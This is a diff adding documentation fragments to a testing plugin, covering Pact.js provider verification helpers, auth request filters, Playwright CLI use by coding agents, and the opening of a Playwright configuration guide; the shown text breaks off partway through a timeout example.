+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
